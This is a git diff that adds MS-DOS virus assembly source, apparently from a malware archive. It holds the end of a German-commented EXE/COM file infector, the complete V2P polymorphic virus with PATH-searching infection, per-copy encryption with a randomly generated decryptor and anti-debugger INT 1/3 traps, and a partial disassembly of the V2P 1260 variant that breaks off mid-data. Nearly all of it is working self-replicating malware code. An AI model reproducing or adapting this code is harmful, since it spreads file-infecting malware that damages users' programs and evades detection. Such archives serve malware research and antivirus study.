Firstbyte ; 880h + MOV DX,SI + MOV CX,0018h ; Lese 18h byte nach DS:SI + MOV AH,3Fh + INT 21H + + XOR CX,CX + XOR DX,DX + MOV AX,4202h ; Seek File-ENDE + INT 21H + + MOV Word Ptr DS:[SI+1Ah],DX ; FilePointer, HiWord + CMP AX,0809h ; ist File lnger als 2057 Byte + SBB DX,+00h + JB J007F7 ; und kleiner als 65536 byte ? + + MOV Word Ptr DS:[SI+18h],AX ; NEIN ! + + MOV AX,'MZ' + CMP Word Ptr DS:[SI],AX ; Ein EXE ? + JZ J00793 + CMP WORD Ptr DS:[SI],'ZM' ; Ein Overlay ? + JNZ J007AE + + MOV Word Ptr DS:[SI],AX ; ja,dann machen wir's zum EXE ! + ; (Depp dieser ! ) +J00793: MOV AX,Word Ptr DS:[SI+0Ch] ; Maximum Memory needed + TEST AX,AX + JZ J007F7 ; keines ?? + MOV AX,Word Ptr DS:[SI+08h] ; Minimum needed + ADD AX,Word Ptr DS:[SI+16h] ; ADD CS-Init + CALL J008F2 + ADD AX,Word Ptr DS:[SI+14h] ; ADD IP-Init + ADC DX,+00h + MOV CX,DX + XCHG AX,DX + JMP SHORT J007C0 + ;-------------------------------- +J007AE: CMP BYTE Ptr DS:[SI],0E9H ; Ein COM. Fngt's mit JMP xy an ? + JNZ J007F8 ; nein + MOV DX,Word Ptr DS:[SI+01h] ; ja, dann ist es gaaanz leicht... + ADD DX,0103h + JB J007F8 ; Sprung ber 1 Segment ? + DEC DH + XOR CX,CX +J007C0: SUB DX,4Dh + SBB CX,00h + MOV AX,4200h + INT 21H ; Seek INIT-Code - 4Dh + + ADD AX,Offset VirusEnde-Offset FirstByte + ADC DX,+00h + + SUB AX,Word Ptr DS:[SI+18h] ; Filesize Low-word + SBB DX,Word Ptr DS:[SI+1Ah] ; Filesize hi-word + + INC DX + JNZ J007F8 + CMP AX,0FFF0h + JB J007F8 + + ADD SI,1Ch + MOV DX,SI + MOV CX,0809h ; 2057h Byte lesen + MOV AH,3Fh + INT 21H + + JB J007F8 + CMP CX,AX + JNZ J007F8 + XOR DI,DI + REPZ CMPSB ; BIN ICH SCHON DRINNEN ?? + JNZ J007F8 +J007F7: RETN ; Ja........... + ;----------------------------------------------------- +J007F8: MOV SI,Offset Buffer-Offset FirstByte + XOR CX,CX + XOR DX,DX + MOV AX,4202h ; seek file-ende + INT 21H + + MOV BYTE Ptr DS:[SI-0Ah],00h ; DOS_Version + CMP WORD Ptr DS:[SI ],'MZ' + JZ SeekCodeStart + ADD AX,0A80h ; = 2688d + ADC DX,+00h + JZ J0082F + RETN + ;----------------------------------------------------- +SeekCodeStart: + MOV DX,Word Ptr DS:[SI+18h] + MOV Byte Ptr DS:[SI-0Ah],DL + NEG DL + AND DX,+0Fh + XOR CX,CX + MOV AX,4201h + INT 21H ; Seek ($ + CX:DX) + MOV Word Ptr DS:[SI+18h],AX + MOV Word Ptr DS:[SI+1Ah],DX + ;-------------------------------------------------- + ; Infektion erfolgt hier + ;-------------------------------------------------- +J0082F: MOV AX,5700h ; Hole File-Datum/Uhrzeit + INT 21H + PUSHF + PUSH CX + PUSH DX + MOV DI,Offset OldCode-Offset FirstByte + + PUSH SI ; Si zeigt auf 'MZ' + MOVSB ; 3 byte sichern + MOVSW + ADD SI,+11h + MOVSW ; 4 byte sichern + MOVSW + SUB SI,+0Ah ; + MOVSW ; nochmal 4 byte sichern + MOVSW + + POP SI + XOR DX,DX + MOV CX,Offset VirusEnde-Offset FirstByte + ;------------------------------------------ + ; MOV AH,40h ; SCHREIBE + ; INT 21H + ;======( eingefgt )======================= + PUSH CX + CALL DISPLAYACTIVITY + POP AX + ;========================================== + ;------------------------------------------ + JB J0086A + XOR CX,AX + JNZ J0086E + MOV CL,Byte Ptr DS:[SI-0Ah] + AND CL,0Fh + TEST CX,CX + JNZ J00863 + MOV CL,10h +J00863: MOV DX,0000h + ;------------------------------------------ + ; MOV AH,40h ; SCHREIBE + ; INT 21H + ;======( eingefgt )======================= + PUSH CX + CALL DISPLAYACTIVITY + POP AX + ;========================================== + ;------------------------------------------ +J0086A: JB SetFileAsInfected + XOR CX,AX +J0086E: JNZ SetFileAsInfected + MOV DX,CX + MOV AX,4200h + INT 21H ; DOS Function Call + CMP WORD PTR DS:[SI],'MZ' + JZ J0088E + ;----------------------------( Korrektur des COM-Starts )----- + MOV BYTE PTR DS:[SI],0E9H + MOV AX,WORD PTR DS:[SI+18h] + ADD AX,004Ah + MOV WORD PTR DS:[SI+01h],AX + MOV CX,0003h + JMP SHORT J008DC + ;----------------------------( Korrektur des EXE-Headers )---- +J0088E: CALL J008EF + NOT AX + NOT DX + INC AX + JNZ J00899 + INC DX +J00899: ADD AX,WORD Ptr DS:[SI+18h] + ADC DX,WORD Ptr DS:[SI+1Ah] + MOV CX,0010h + DIV CX + MOV WORD Ptr DS:[SI+14h],004Dh + MOV WORD Ptr DS:[SI+16h],AX + ADD AX,0083h + MOV WORD Ptr DS:[SI+0Eh],AX + MOV WORD Ptr DS:[SI+10h],0100h + + ADD WORD Ptr DS:[SI+18h],Offset VirusEnde-Offset FirstByte + ADC WORD Ptr DS:[SI+1Ah],+00h + + MOV AX,WORD Ptr DS:[SI+18h] + AND AX,01FFh + MOV WORD Ptr DS:[SI+02h],AX + PUSHF + MOV AX,WORD Ptr DS:[SI+19h] + SHR BYTE Ptr DS:[SI+1Bh],1 + RCR AX,1 + POPF + JZ J008D6 + INC AX +J008D6: MOV WORD Ptr DS:[SI+04h],AX + MOV CX,0018h ; Lnge des EXE-Headers + ; +J008DC: MOV DX,SI + ;------------------------------------------ + ; MOV AH,40h ; SCHREIBE + ; INT 21H + ;======( eingefgt )======================= + CALL DISPLAYACTIVITY + ;========================================== + ;------------------------------------------ +SetFileAsInfected: + POP DX ; Hole File-Datum/Uhrzeit vom Stack + POP CX + POPF + JB J008F7 + OR CL,1Fh ; Set File-Uhrzeit, Sekunde auf 62 ! + MOV AX,5701h + INT 21H + +J008EF: MOV AX,WORD Ptr DS:[SI+08h] +J008F2: MOV DX,0010h + MUL DX +J008F7: RETN + ;----------------------------------------------------- + DB "(c) 1990" + DB " by Vesselin " +BontChev DB "Bontchev" + DB 00h + ;----------------------------------------------------- +VirInt13H: CMP AH,03h ; Write Sektors + JNZ INT13H + CMP DL,80h ; festplatte ?? + JNB Int13JMP +Int13ROM_Entry: DB 0EAH + DW 0 + DW 0 ; JMP 0000:0000 ; 920 +;----------------------------------------------------- +Int13JMP: DB 0EAh + DW 0 + DW 0 ; JMP 0000:0000 ; 925 +;----------------------------------------------------- +INT13H: DB 0EAH + DW 0 + DW 0 ; JMP 0000:0000 ; 92A +;----------------------------------------------------- +OldCode: INT 20 ; Terminate a COM program + INT 3 +IP_init: DW 0100h +CS_Init: DW 0 +SS_INIT: DW 0 +SP_INIT: DW 0 +Generation: DW 0 +;----------------------------- mehr wird nicht weggeschrieben - +Virusende: +;-------------------------------------------------------------- + DW ? +J0093E: DW ? + DW 27 DUP (?) +DOS_Version: DB ? +Bontchev_Flag: DB ? +INT27H: DD ? +INT21H: DD ? +Buffer: +FilePuffer: +@Stack EQU $ + 80H +;-------------------------------------------------------------- +code ENDS + END start +;-------------------------------------------------------------- + diff --git a/MSDOS/Virus.MSDOS.Unknown.v2p.asm b/MSDOS/Virus.MSDOS.Unknown.v2p.asm new file mode 100644 index 00000000..cdabcb81 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.v2p.asm @@ -0,0 +1,759 @@ +; +; +; Copyright (C) Mark Washburn, 1990. All Rights Reserved +; +; +; Inquires are directed to : +; Mark Washburn +; 4656 Polk Street NE +; Columbia Heights, MN 55421 +; USA +; +; +; +; +code segment public 'CODE' + org 100h +; + assume cs:code,ds:code,es:code +; + +stopdebug equ 1 ; define this for disassembly trap code +int1vec equ 4 +int3vec equ 12 +; +dta_ptr equ -4 +file_crea equ -8 +file_attr equ -10 +path_start_ptr equ -12 +file_start_ptr equ -14 +RAND_SEED equ -16 +ptr1 equ -18 ; pointer to start of loop code +ptr2 equ -20 ; save data_begin pointer +dat1 equ -22 ; the random code used +dat2 equ -24 ; the decode length plus random length offset, max_msk + ; to make the decode routine more difficult to detect +dat3 equ -26 ; the 'necessary crypt code' mask +; +IFNDEF stopdebug +local_stack equ 26 +max_msk equ 0ffh ; this determines the maximum variance of length +ELSE +nobugptr equ -28 +oldint3 equ -32 +oldint1 equ -36 +local_stack equ 36 +max_msk equ 0ffh ; this determines the maximum variance of length +ENDIF +; +; +; +doscall macro call_type + ifnb + mov ah, call_type + endif + int 21h + endm +; +setloc macro arg1,reg2 + mov [bp + arg1],reg2 + endm +; +getloc macro reg1,arg2 + mov reg1,[bp + arg2] + endm +; +setdat macro arg1,reg2 + mov [si + offset arg1 - offset data_begin],reg2 + endm +; +getdat macro reg1,arg2 + mov reg1,[si + offset arg2 - offset data_begin] + endm +; +regofs macro reg1,arg2 + mov reg1,si + add reg1,offset (arg2 - data_begin) + endm +; +NOBUG1 macro +IFDEF stopdebug + INT 3 + NOP +ENDIF + endm +; +nobug2 macro +IFDEF stopdebug + INT 3 +ENDIF + endm +; +; +start: + jmp entry +; +; +; + MOV AH,0 + INT 021h ; program code +; db 600h-6 dup (0) +; insert utility code here +; +entry: +; space for decode routine +IFDEF stopdebug + call precrypt + db 36 dup (090h) ; calculated length of offset(t41-t10) +ELSE + db 39 dup (090h) ; calculated length of offset(t41-t10) +ENDIF +; +; label the start of encoded section +entry2: + mov bp,sp ; allocate locals + sub sp,local_stack +; + push cx +movcmd: ; this label is used to locate the next instruction + mov dx,offset data_begin + setloc ptr2,dx ; save - will be modified in 'gencode' +IFDEF stopdebug +; +; save interrupt 1 and 3 vectors +; + push ds + mov ax,0 + push ax + pop ds + cli + mov ax,ds:[int1vec] + setloc oldint1,ax + mov ax,ds:[int1vec+2] + setloc oldint1+2,ax + mov ax,ds:[int3vec] + setloc oldint3,ax + mov ax,ds:[int3vec+2] + setloc oldint3+2,ax + sti + pop ds +; + call bugon +ENDIF + mov si,dx + add si,(offset old_code - offset data_begin) + mov di,0100h + mov cx,03h + cld + repz movsb + mov si,dx + doscall 30h ; check DOS version + cmp al,0 + NOBUG1 ; 0 + jnz cont1 ; DOS > 2.0 + jmp exit +cont1: + push es + doscall 2fh ; get program DTA + NOBUG1 ; 0 + setloc dta_ptr,bx + NOBUG1 ; 0 + setloc dta_ptr+2,es + pop es + regofs dx,my_dta + doscall 1ah ; set new DTA + push es + push si + mov es,ds:[02ch] ; environment address + mov di,0 +loop1: + pop si + push si + add si,(offset path_chars - offset data_begin) + lodsb + mov cx,8000h + repnz scasb + mov cx,4 +loop2: + lodsb + scasb + jnz loop1 + loop loop2 + pop si + pop es + setloc path_start_ptr,di + mov bx,si + add si,offset (file_name-data_begin) + mov di,si + jmp cont6 + nobug2 +next_path: + cmp word ptr [bp + path_start_ptr],0 + jnz cont3 + jmp exit2 + nobug2 +cont3: + push ds + push si + mov ds,es:[002ch] + + mov di,si + mov si,es:[bp+path_start_ptr] + add di,offset (file_name-data_begin) +loop3: + lodsb + cmp al,';' ; 3bh + jz cont4 + cmp al,0 + jz cont5 + stosb + jmp loop3 + nobug2 +cont5: + mov si,0 +cont4: + pop bx + pop ds + mov [bp+path_start_ptr],si + cmp ch,0ffh + jz cont6 + mov al,'\' ; 5ch + stosb +cont6: + mov [bp+file_start_ptr],di + mov si,bx + add si,(offset com_search-offset data_begin) + mov cx,6 + repz movsb + mov si,bx + mov ah,04eh + regofs dx,file_name + mov cx,3 + doscall + jmp cont7 + nobug2 +next_file: + doscall 04fh +cont7: + jnb cont8 + jmp next_path + nobug2 +cont8: + mov ax,[si+offset(my_dta-data_begin)+016h] ; low time byte + and al,01fh + cmp al,01fh + jz next_file +IFNDEF stopdebug + cmp word ptr [si+offset(my_dta-data_begin)+01ah],0fa00h + ; file length compared; need 1.5 k spare, see rnd off +ELSE + cmp word ptr [si+offset(my_dta-data_begin)+01ah],0f800h +ENDIF + jz next_file ; with virus length + cmp word ptr [si+offset(my_dta-data_begin)+01ah],0ah + ; file to short + jz next_file + mov di,[bp+file_start_ptr] + push si + add si,offset(my_dta-data_begin+01eh) +move_name: + lodsb + stosb + cmp al,0 + jnz move_name + pop si + mov ax,04300h + regofs dx,file_name + doscall + setloc file_attr,cx + mov ax,04301h + and cx,0fffeh + regofs dx,file_name + doscall + mov ax,03d02h + regofs dx,file_name + doscall + jnb cont9 + jmp exit3 + nobug2 +cont9: + mov bx,ax + mov ax,05700h + doscall + setloc file_crea,cx + setloc file_crea+2,dx +cont10: + mov ah,3fh + mov cx,3 + regofs dx,old_code + doscall + NOBUG1 ; 1 + jb cont98 + NOBUG1 + cmp ax,3 + NOBUG1 + jnz cont98 + NOBUG1 + mov ax,04202h + NOBUG1 ;1 + mov cx,0 + mov dx,0 + doscall + jnb cont99 +cont98: + jmp exit4 +cont99: + NOBUG1 ; 2 + push bx ; save file handle + NOBUG1 + mov cx,ax + push cx + NOBUG1 + sub ax,3 + NOBUG1 + setdat jump_code+1,ax + add cx,(offset data_begin-offset entry+0100h) + NOBUG1 + mov di,si + NOBUG1 + sub di,offset data_begin-offset movcmd-1 + NOBUG1 + mov [di],cx +; + doscall 02ch ; seed the random number generator + xor dx,cx + NOBUG1 + setloc rand_seed,dx + NOBUG1 ; 2 + call random + NOBUG1 ; 3 + getloc ax,rand_seed + NOBUG1 ; 3 + and ax,max_msk ; add a random offset to actual length + NOBUG1 ; 3 + add ax,offset (data_end-entry2) ; set decode length + NOBUG1 ; 3 + setloc dat2,ax ; save the decode length + NOBUG1 ; 3 + setdat (t13+1),ax ; set decode length in 'mov cx,xxxx' + pop cx ; restore the code length of file to be infected + NOBUG1 ; 3 + add cx,offset (entry2-entry+0100h) ; add the length + ; of uncoded area plus file offset + setdat (t11+1),cx ; set decode begin in 'mov di,xxxx' + NOBUG1 ; 3 + call random + getloc ax,rand_seed + NOBUG1 ; 3 + setloc dat1,ax ; save this random key in dat1 + setdat (t12+1),ax ; set random key in 'mov ax,xxxx' + NOBUG1 ; 3 + mov di,si + NOBUG1 ; 3 + sub di,offset (data_begin-entry) + NOBUG1 ; 3 + mov bx,si + add bx,offset (l11-data_begin) ; table L11 address + mov word ptr [bp+dat3],000000111b ; required routines + call gen2 ; generate first part of decrypt + setloc ptr1,di ; save the current counter to resolve 'loop' + add bx,offset (l21-l11) ; add then next tables' offset + NOBUG1 ; 3 + mov word ptr [bp+dat3],010000011b ; required plus 'nop' + NOBUG1 ; 3 + call gen2 ; generate second part of decrypt + add bx,offset (l31-l21) ; add the next offset + NOBUG1 + call gen2 ; generate third part of decrypt + mov cx,2 ; store the loop code + getloc si,ptr2 + NOBUG1 ; 3 + add si,offset (t40-t10) ; point to the code + repz movsb ; move the code + getloc ax,ptr1 ; the loop address pointer + sub ax,di ; the current address + dec di ; point to the jump address + stosb ; resolve the jump +; fill in the remaining code +l991: + getloc cx,ptr2 ; get the data_begin pointer + sub cx,offset (data_begin-entry2) ; locate last+1 entry + cmp cx,di ; are we there yet? + je l992 ; if not then fill some more space + mov dx,0h ; any code is ok + call gencode ; generate the code + jmp l991 + nobug2 +l992: + getloc si,ptr2 ; restore si to point to data area ; + push si + mov di,si + NOBUG1 ; 4 + mov cx,offset(end1-begin1) ; move code + add si,offset(begin1-data_begin) + NOBUG1 ; 4 + add di,offset(data_end-data_begin+max_msk) ; add max_msk + mov dx,di ; set subroutine start + repz movsb ; move the code + pop si + pop bx ; restore handle + call setrtn ; find this address + add ax,06h ; <- the number necessary for proper return + push ax + jmp dx ; continue with mask & write code +; continue here after return from mask & write code + NOBUG1 ; 4 + jb exit4 + cmp ax,offset(data_end-entry) + NOBUG1 ; 4 + jnz exit4 + mov ax,04200h + mov cx,0 + mov dx,0 + doscall + jb exit4 + mov ah,040h + mov cx,3 + NOBUG1 ; 4 + regofs dx,jump_code + doscall +exit4: + getloc dx,file_crea+2 + getloc cx,file_crea + and cx,0ffe0h + or cx,0001fh + mov ax,05701h + doscall + doscall 03Eh ; close file +exit3: + mov ax,04301h + getloc cx,file_attr + regofs dx,file_name + doscall +exit2: + push ds + getloc dx,dta_ptr + getloc ds,dta_ptr+2 + doscall 01ah + pop ds +exit: + pop cx + xor ax,ax + xor bx,bx + xor dx,dx + xor si,si + mov sp,bp ; deallocate locals + mov di,0100h + push di + CALL BUGOFF + ret +; +; common subroutines +; +; +random proc near +; + getloc cx,rand_seed ; get the seed + xor cx,813Ch ; xor random pattern + add cx,9248h ; add random pattern + ror cx,1 ; rotate + ror cx,1 ; three + ror cx,1 ; times. + setloc rand_seed,cx ; put it back + and cx,7 ; ONLY NEED LOWER 3 BITS + push cx + inc cx + xor ax,ax + stc + rcl ax,cl + pop cx + ret ; return +; +random endp +; +setrtn proc near +; + pop ax ; ret near + push ax + ret +; +setrtn endp +; +gencode proc near +; +l999: + call random + test dx,ax ; has this code been used yet? + jnz l999 ; if this code was generated - try again + or dx,ax ; set the code as used in dx + mov ax,cx ; the look-up index + sal ax,1 + push ax + xlat + mov cx,ax ; the count of instructions + pop ax + inc ax + xlat + add ax,[bp+ptr2] ; ax = address of code to be moved + mov si,ax + repz movsb ; move the code into place + ret +; +gencode endp +; +gen2 proc near +; + mov dx,0h ; used code +l990: + call gencode + mov ax,dx ; do we need more code + and ax,[bp+dat3] ; the mask for the required code + cmp ax,[bp+dat3] + jne l990 ; if still need required code - loop again + ret +; +gen2 endp +; +IFDEF stopdebug +doint3: + push bx + mov bx,sp + push ax + push si + mov si,word ptr [bx+02] + inc word ptr [bx+02] ; point to next address + setloc nobugptr,si + lodsb ; get the byte following int 3 + xor byte ptr [si],al + mov al,[bx+7] ; set the trap flag + or al,1 + mov [bx+7],al + pop si + pop ax + pop bx + iret +; +doint1: + push bx + mov bx,sp + push ax + push si + getloc si,nobugptr + lodsb + xor byte ptr [si],al + mov al,[bx+7] ; clear the trap flag + and al,0feh + mov [bx+7],al + pop si + pop ax + pop bx +bugiret: + iret +; +bugon: + pushf + push ds + push ax + mov ax,0 + push ax + pop ds + getloc ax,ptr2 + sub ax,offset(data_begin-doint3) + cli + mov ds:[int3vec],ax + getloc ax,ptr2 + sub ax,offset(data_begin-doint1) + mov ds:[int1vec],ax + push cs + pop ax + mov ds:[int1vec+2],ax + mov ds:[int3vec+2],ax + sti + pop ax + pop ds + popf + ret +; +bugoff: + pushf + push ds + push ax + mov ax,0 + push ax + pop ds + + getloc ax,oldint3 + cli + mov ds:[int3vec],ax + getloc ax,oldint1 + mov ds:[int1vec],ax + getloc ax,oldint1+2 + mov ds:[int1vec+2],ax + getloc ax,oldint3+2 + mov ds:[int3vec+2],ax + sti + + pop ax + pop ds + popf + ret +; +ENDIF +; +; +; the data area +; +data_begin label near +; +T10 LABEL NEAR +T11: MOV DI,0FFFFH +T12: MOV AX,0FFFFH +T13: MOV CX,0FFFFH +T14: CLC +T15: CLD +T16: INC SI +T17: DEC BX +T18: NOP +T19 LABEL NEAR +; +T20 LABEL NEAR +T21: XOR [DI],AX +T22: XOR [DI],CX +T23: XOR DX,CX +T24: XOR BX,CX +T25: SUB BX,AX +T26: SUB BX,CX +T27: SUB BX,DX +T28: NOP +T29 LABEL NEAR +; +T30 LABEL NEAR +T31: INC AX +T32: INC DI +T33: INC BX +T34: INC SI +T35: INC DX +T36: CLC +T37: DEC BX +T38: NOP +T39 LABEL NEAR +; +T40: LOOP T20 +T41 LABEL NEAR +; +L11: DB OFFSET (T12-T11),OFFSET (T11-data_begin) +L12: DB OFFSET (T13-T12),OFFSET (T12-data_begin) +L13: DB OFFSET (T14-T13),OFFSET (T13-data_begin) +L14: DB OFFSET (T15-T14),OFFSET (T14-data_begin) +L15: DB OFFSET (T16-T15),OFFSET (T15-data_begin) +L16: DB OFFSET (T17-T16),OFFSET (T16-data_begin) +L17: DB OFFSET (T18-T17),OFFSET (T17-data_begin) +L18: DB OFFSET (T19-T18),OFFSET (T18-data_begin) +; +L21: DB OFFSET (T22-T21),OFFSET (T21-data_begin) +L22: DB OFFSET (T23-T22),OFFSET (T22-data_begin) +L23: DB OFFSET (T24-T23),OFFSET (T23-data_begin) +L24: DB OFFSET (T25-T24),OFFSET (T24-data_begin) +L25: DB OFFSET (T26-T25),OFFSET (T25-data_begin) +L26: DB OFFSET (T27-T26),OFFSET (T26-data_begin) +L27: DB OFFSET (T28-T27),OFFSET (T27-data_begin) +L28: DB OFFSET (T29-T28),OFFSET (T28-data_begin) +; +L31: DB OFFSET (T32-T31),OFFSET (T31-data_begin) +L32: DB OFFSET (T33-T32),OFFSET (T32-data_begin) +L33: DB OFFSET (T34-T33),OFFSET (T33-data_begin) +L34: DB OFFSET (T35-T34),OFFSET (T34-data_begin) +L35: DB OFFSET (T36-T35),OFFSET (T35-data_begin) +L36: DB OFFSET (T37-T36),OFFSET (T36-data_begin) +L37: DB OFFSET (T38-T37),OFFSET (T37-data_begin) +L38: DB OFFSET (T39-T38),OFFSET (T38-data_begin) +; +; +; +; this routine is relocated after the end of data area +; this routine encrypts, writes, and decrypts the virus code +; +begin1: + getloc cx,dat2 ; get off (data_end-entry2) plus max_msk + getloc ax,dat1 ; get decode ket + mov di,si ; and set the begin encrypt address + sub di,offset (data_begin-entry2) + call crypt + mov ah,040h + mov cx,offset data_end-offset entry + mov dx,si + sub dx,offset data_begin-offset entry + doscall + pushf ; save the status of the write + push ax + getloc cx,dat2 ; get off (data_end-entry2) plus max_msk + getloc ax,dat1 + mov di,si + sub di,offset (data_begin-entry2) + call crypt + pop ax ; restore the DOS write's status + popf + ret +; +crypt: + xor [di],ax + xor [di],cx + inc ax + inc di + loop crypt + ret +end1: +; +; global work space and constants +; +old_code: db 090h,090h,090h +jump_code: db 0e9h,0,0 +com_search: db '*.COM',0 +path_chars: db 'PATH=' +file_name: db 40h DUP (0) +my_dta: db 2Bh DUP (0) + db 0,0,0 + +data_end label near +IFDEF stopdebug +; +scan_bytes db 0CCh,090h +; +precrypt: + mov bp,sp ; allocate locals + sub sp,local_stack + doscall 02ch ; seed the random number generator + xor dx,cx + setloc rand_seed,dx + call random + mov di,offset start + push ds + pop es +lp999: + mov cx,08000h + mov si,offset scan_bytes + lodsb + repnz scasb + cmp cx,0 + je done998 + cmp di,offset data_end + jge done998 + lodsb + scasb + jnz lp999 + call random + getloc ax,rand_seed + dec di + mov [di],al + inc di + xor [di],al + inc di ; skip the masked byte + jmp short lp999 +done998: + mov sp,bp + ret +ENDIF + +code ends + end start + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.v2p11260.asm b/MSDOS/Virus.MSDOS.Unknown.v2p11260.asm new file mode 100644 index 00000000..96ba5acf --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.v2p11260.asm @@ -0,0 +1,596 @@ + + +DATA_1E EQU 4 +DATA_2E EQU 6 +DATA_3E EQU 0CH +DATA_4E EQU 0EH +DATA_5E EQU 2CH +DATA_6E EQU 2CH +DATA_7E EQU 0F7H +DATA_8E EQU 0FBH +DATA_11E EQU 901H +DATA_12E EQU 1002H +DATA_13E EQU 1802H +DATA_14E EQU 1F01H +DATA_15E EQU 3918H +DATA_16E EQU 57C6H +DATA_17E EQU 0F046H +DATA_18E EQU 0FFDCH +DATA_19E EQU 0FFDEH + + +CODE_SEG SEGMENT + ASSUME CS:CODE_SEG, DS:CODE_SEG + ORG 100h + + +1260 PROC FAR + +START: + JMP DECRYPT_ROUTINE + +DECRYPT_ROUTINE: + NOP + MOV DI,12AH + MOV AX,9ECDH + DEC BX + CLC + CLD + MOV CX,4DDH + +LOCLOOP_3: + SUB BX,AX + XOR BX,CX + NOP + XOR [DI],AX + XOR [DI],CX + INC DI + INC AX + NOP + LOOP LOCLOOP_3 ; Loop if cx > 0 + CLC ; Clear carry flag + DEC BX + INC AX + DEC BX + INC BX + DEC BX + CLC ; Clear carry flag + INC DI + INC DX + CLC ; Clear carry flag + INC DX + NOP + MOV BP,SP + SUB SP,24H + PUSH CX + MOV DX,4E0H + MOV [BP-14H],DX + PUSH DS + MOV AX,0 + PUSH AX + POP DS + CLI ; Disable interrupts + MOV AX,DS:DATA_1E + MOV SS:DATA_18E[BP],AX + MOV AX,DS:DATA_2E + MOV SS:DATA_19E[BP],AX + MOV AX,DS:DATA_3E + MOV [BP-20H],AX + MOV AX,DS:DATA_4E + MOV [BP-1EH],AX + STI ; Enable interrupts + POP DS + CALL SUB_4 + MOV SI,DX + ADD SI,90H + MOV DI,100H + MOV CX,3 + CLD ; Clear direction + REP MOVSB ; Rep while cx>0 Mov [si] to es:[di] + MOV SI,DX + MOV AH,30H ; '0' + INT 21H ; DOS Services ah=function 30h + ; get DOS version number ax + CMP AL,0 + INT 3 ; Debug breakpoint + DAA ; Decimal adjust + PUSH DX + ADD BP,CX + ADD BYTE PTR [BP+SI],6 + MOV AH,2FH ; '/' + INT 21H ; DOS Services ah=function 2Fh + ; get DTA ptr into es:bx + INT 3 ; Debug breakpoint + OR AL,85H + POP SI + CLD ; Clear direction + INT 3 ; Debug breakpoint + SCASW ; Scan es:[di] for ax + AND AX,[BP-2] + POP ES + MOV DX,SI + ADD DX,0E1H + MOV AH,1AH + INT 21H ; DOS Services ah=function 1Ah + ; set DTA to ds:dx + PUSH ES + PUSH SI + MOV ES,DS:DATA_6E + MOV DI,0 + +LOC_4: + POP SI + PUSH SI + ADD SI,9CH + LODSB ; String [si] to al + MOV CX,8000H + REPNE SCASB ; Rept zf=0+cx>0 Scan es:[di] for al + MOV CX,4 + +LOCLOOP_5: + LODSB ; String [si] to al + SCASB ; Scan es:[di] for al + JNZ LOC_4 ; Jump if not zero + LOOP LOCLOOP_5 ; Loop if cx > 0 + + POP SI + POP ES + MOV [BP-0CH],DI + MOV BX,SI + ADD SI,0A1H + MOV DI,SI + JMP SHORT LOC_11 + DB 90H, 0CCH + +LOC_6: + CMP WORD PTR [BP-0CH],0 + JNE LOC_7 ; Jump if not equal + JMP LOC_22 + DB 0CCH + +LOC_7: + PUSH DS + PUSH SI + MOV DS,ES:DATA_5E + MOV DI,SI + MOV SI,ES:[BP-0CH] + ADD DI,0A1H + +LOC_8: + LODSB ; String [si] to al + CMP AL,3BH ; ';' + JE LOC_10 ; Jump if equal + CMP AL,0 + JE LOC_9 ; Jump if equal + STOSB ; Store al to es:[di] + JMP SHORT LOC_8 + DB 0CCH + +LOC_9: + MOV SI,0 + +LOC_10: + POP BX + POP DS + MOV [BP-0CH],SI + CMP CH,0FFH + JE LOC_11 ; Jump if equal + MOV AL,5CH ; '\' + STOSB ; Store al to es:[di] + +LOC_11: + MOV [BP-0EH],DI + MOV SI,BX + ADD SI,96H + MOV CX,6 + REP MOVSB ; Rep while cx>0 Mov [si] to es:[di] + MOV SI,BX + MOV AH,4EH ; 'N' + MOV DX,SI + ADD DX,0A1H + MOV CX,3 + INT 21H ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + JMP SHORT LOC_13 + DB 90H, 0CCH + +LOC_12: + MOV AH,4FH ; 'O' + INT 21H ; DOS Services ah=function 4Fh + ; find next filename match +LOC_13: + JNC LOC_14 ; Jump if carry=0 + JMP SHORT LOC_6 + DB 0CCH + +LOC_14: + MOV AX,DS:DATA_7E[SI] + AND AL,1FH + CMP AL,1FH + JE LOC_12 ; Jump if equal + CMP WORD PTR DS:DATA_8E[SI],0F800H + JE LOC_12 ; Jump if equal + CMP WORD PTR DS:DATA_8E[SI],0AH + JE LOC_12 ; Jump if equal + MOV DI,[BP-0EH] + PUSH SI + ADD SI,0FFH + +LOC_15: + LODSB ; String [si] to al + STOSB ; Store al to es:[di] + CMP AL,0 + JNE LOC_15 ; Jump if not equal + POP SI + MOV AX,4300H + MOV DX,SI + ADD DX,0A1H + INT 21H ; DOS Services ah=function 43h + ; get/set file attrb, nam@ds:dx + MOV [BP-0AH],CX + MOV AX,4301H + AND CX,0FFFEH + MOV DX,SI + ADD DX,0A1H + INT 21H ; DOS Services ah=function 43h + ; get/set file attrb, nam@ds:dx + MOV AX,3D02H + MOV DX,SI + ADD DX,0A1H + INT 21H ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + JNC LOC_16 ; Jump if carry=0 + JMP LOC_21 + DB 0CCH + +LOC_16: + MOV BX,AX + MOV AX,5700H + INT 21H ; DOS Services ah=function 57h + ; get/set file date & time + MOV [BP-8],CX + MOV [BP-6],DX + MOV AH,3FH ; '?' + MOV CX,3 + MOV DX,SI + ADD DX,90H + INT 21H ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx + INT 3 ; Debug breakpoint + POP BX + SUB [BP+SI],BX + INT 3 ; Debug breakpoint + CMC ; Complement carry + DB 0C8H, 3, 0, 0CCH, 42H, 37H + DB 11H, 0CCH, 78H, 0C0H, 2, 42H + DB 0CCH, 31H, 88H, 0, 0, 0BAH + DB 0, 0, 0CDH, 21H, 73H, 3 + DB 0E9H, 15H, 1, 0CCH, 8AH, 0D9H + DB 0CCH, 0DFH, 54H, 0C8H, 51H, 0CCH + DB 85H, 0A8H, 3, 0, 0CCH, 0E0H + DB 69H, 84H, 94H, 0, 81H, 0C1H + DB 0DDH, 4, 0CCH, 64H, 0EFH, 0FEH + DB 0CCH, 74H, 0F5H, 0EFH, 0AFH, 3 + DB 0CCH, 92H, 1BH, 0DH, 0B4H, 2CH + DB 0CDH, 21H, 33H, 0D1H, 0CCH, 0FEH + DB 77H, 56H, 0F0H, 0CCH, 0C1H, 29H + DB 24H, 1, 0CCH, 0C8H, 43H, 46H + DB 0F0H, 0CCH, 0E7H, 0C2H, 0FFH, 0 + DB 0CCH, 24H, 21H, 0C5H, 4, 0CCH + DB 0CCH, 45H, 46H, 0E8H, 0CCH, 87H + DB 0EH, 84H, 7, 